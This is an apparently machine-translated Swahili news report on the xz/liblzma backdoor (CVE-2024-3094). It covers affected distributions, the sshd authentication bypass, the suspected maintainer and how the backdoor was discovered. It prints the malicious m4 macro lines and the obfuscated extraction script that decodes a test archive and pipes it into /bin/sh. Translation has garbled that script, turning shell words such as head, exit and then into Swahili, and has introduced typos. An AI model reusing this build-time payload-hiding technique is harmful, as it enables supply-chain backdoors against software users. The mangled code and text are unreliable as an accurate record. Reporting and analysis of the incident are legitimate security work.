Mlango wa nyuma uligunduliwa kwenye maktaba ya xz/liblzma ambayo inaruhusu kuingia kupitia sshd

Katika kifurushi cha XZ Utils, kinachojumuisha maktaba ya liblzma na huduma za kufanya kazi na data iliyobanwa katika umbizo la ".xz", mlango wa nyuma (CVE-2024-3094) umetambuliwa ambao unaruhusu uingiliaji na urekebishaji wa data iliyochakatwa na programu zinazohusiana. na maktaba ya liblzma. Lengo kuu la mlango wa nyuma ni seva ya OpenSSH, ambayo katika usambazaji fulani imeunganishwa na maktaba ya libsystemd, ambayo hutumia liblzma. Kuunganisha sshd na maktaba iliyo katika mazingira magumu huruhusu washambuliaji kupata ufikiaji wa seva ya SSH bila uthibitishaji.

Mlango wa nyuma ulikuwepo katika toleo rasmi la 5.6.0 na 5.6.1, lililochapishwa mnamo Februari 24 na Machi 9, ambalo liliweza kuingia katika usambazaji na hazina zingine, kwa mfano, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide na 40-beta, kiwanda cha openSUSE na tumbleweed, LibreELEC, Alpine edge, Solus, NixOS isiyo imara, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, majaribio ya Manjaro. Watumiaji wote wa matoleo ya xz 5.6.0 na 5.6.1 wanapendekezwa kurejesha toleo la 5.4.6 kwa haraka.

Miongoni mwa sababu zinazopunguza shida, inaweza kuzingatiwa kuwa toleo la liblzma lililo na mlango wa nyuma halikuweza kuwa sehemu ya matoleo thabiti ya usambazaji mkubwa, lakini liliathiri openSUSE Tumbleweed na Fedora 40-beta. Arch Linux na Gentoo walitumia toleo hatarishi la zx, lakini hawawezi kushambuliwa kwa sababu hawatumii kiraka cha arifa cha systemd kwenye openssh, ambayo husababisha sshd kuunganishwa na liblzma. Mlango wa nyuma unaathiri tu mifumo ya x86_64 kulingana na kinu cha Linux na maktaba ya Glibc C.

Msimbo wa kuwezesha mlango wa nyuma ulifichwa katika macros ya m4 kutoka kwa faili ya build-to-host.m4 inayotumiwa na zana ya kutengeneza kiotomatiki wakati wa kujenga. Wakati wa kusanyiko, wakati wa utekelezaji wa shughuli ngumu zilizofichwa kulingana na kumbukumbu (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), iliyotumiwa kupima usahihi wa utendakazi, faili ya kitu iliyo na msimbo hasidi ilitolewa, ambayo ilijumuishwa katika maktaba ya liblzma na kubadilisha mantiki ya uendeshaji baadhi ya kazi zake. Macro za m4 zinazowezesha mlango wa nyuma zilijumuishwa kwenye tara za kutolewa, lakini hazikupatikana kwenye hazina ya Git. Wakati huo huo, kumbukumbu za majaribio mabaya zilikuwepo kwenye hifadhi, i.e. mtu aliyetekeleza mlango wa nyuma alikuwa na ufikiaji wa hazina na michakato ya uzalishaji wa toleo.

Unapotumia liblzma katika programu, mabadiliko hasidi yanaweza kutumika kuingilia au kurekebisha data, au kuathiri utendakazi wa sshd. Hasa, msimbo hasidi uliharibu kazi ya RSA_public_decrypt ili kukwepa mchakato wa uthibitishaji wa sshd. Mlango wa nyuma ulijumuisha ulinzi dhidi ya ugunduzi na haukujidhihirisha wakati vigeu vya mazingira vya LANG na TERM viliwekwa (yaani, wakati wa kuendesha mchakato kwenye terminal) na LD_DEBUG na LD_PROFILE vigeu vya mazingira havikuwekwa, na pia waliamilishwa wakati wa kutekeleza tu. /usr/sbin/sshd faili inayoweza kutekelezwa . Mlango wa nyuma pia ulikuwa na njia ya kugundua utekelezaji katika mazingira ya utatuzi.

Hasa, faili ya m4/build-to-host.m4 iliyotumiwa gl_am_configmake=`grep -aErls β€œ#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \Β»r\n\Β» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_kiambishi awali -d 2>/dev/null'

Katika ujenzi wa kwanza, operesheni ya grep ilipata vipimo vya faili/files/bad-3-corrupt_lzma2.xz, ambayo, ilipopakuliwa, ilitoa hati: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && toka 0 [ ! $(uname) = "Linux" ] && toka 0 [ ! $(uname) = "Linux" ] && toka 0 [ ! $(uname) = "Linux" ] && toka 0 [ ! $(uname) = "Linux" ] && toka 0 eval `grep ^srcdir= config.status` ikiwa test -f ../../config.status;kisha eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirΒ» fi export i=Β»((kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/ null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa - c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa - c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/ dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && ( kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +2048 && (kichwa -c +1024 >/dev/null) && kichwa -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F ghafi β€”lzma1 -dc|/bin/sh ####Dunia####

Jinsi wavamizi waliweza kupata ufikiaji wa miundombinu ya mradi wa xz bado haijafafanuliwa kikamilifu. Bado haijabainika ni watumiaji na miradi ngapi iliathiriwa kwa sababu ya mlango wa nyuma. Anayedaiwa kuwa mwandishi wa mlango wa nyuma (JiaT75 - Jia Tan), ambaye alichapisha kumbukumbu zilizo na msimbo hasidi kwenye hazina, aliwasiliana na watengenezaji wa Fedora na kutuma maombi ya kuvuta kwa Debian yanayohusiana na mpito wa usambazaji hadi tawi la xz 5.6.0, na hakufanya hivyo. kuamsha mashaka, tangu aliposhiriki katika xz imekuwa ikiendelea kwa miaka miwili iliyopita na ndiye msanidi wa pili kulingana na idadi ya mabadiliko yaliyofanywa. Mbali na mradi wa xz, mwandishi anayedaiwa wa backdoor pia alishiriki katika ukuzaji wa xz-java na vifurushi vilivyopachikwa vya xz. Zaidi ya hayo, Jia Tan siku chache zilizopita ilijumuishwa katika idadi ya watunzaji wa mradi wa XZ Embedded unaotumiwa kwenye kernel ya Linux.

Mabadiliko hasidi yaligunduliwa baada ya kuchanganua utumiaji mwingi wa CPU na hitilafu zinazozalishwa na valgrind wakati wa kuunganisha kupitia ssh hadi mifumo ya msingi ya Debian. Ni muhimu kukumbuka kuwa toleo la xz 5.6.1 lilijumuisha mabadiliko yaliyotayarishwa na anayedaiwa kuwa mwandishi wa mlango wa nyuma kujibu malalamiko kuhusu kushuka kwa kasi kwa sshd na ajali zilizotokea baada ya kusasishwa hadi toleo la zx 5.6.0 na mlango wa nyuma. Zaidi ya hayo, mwaka jana Jia Tan ilifanya mabadiliko ambayo hayakubaliani na hali ya ukaguzi ya "-fsanitize=anwani", na kusababisha kuzimwa wakati wa majaribio ya fuzz.

Chanzo: opennet.ru

Kuongeza maoni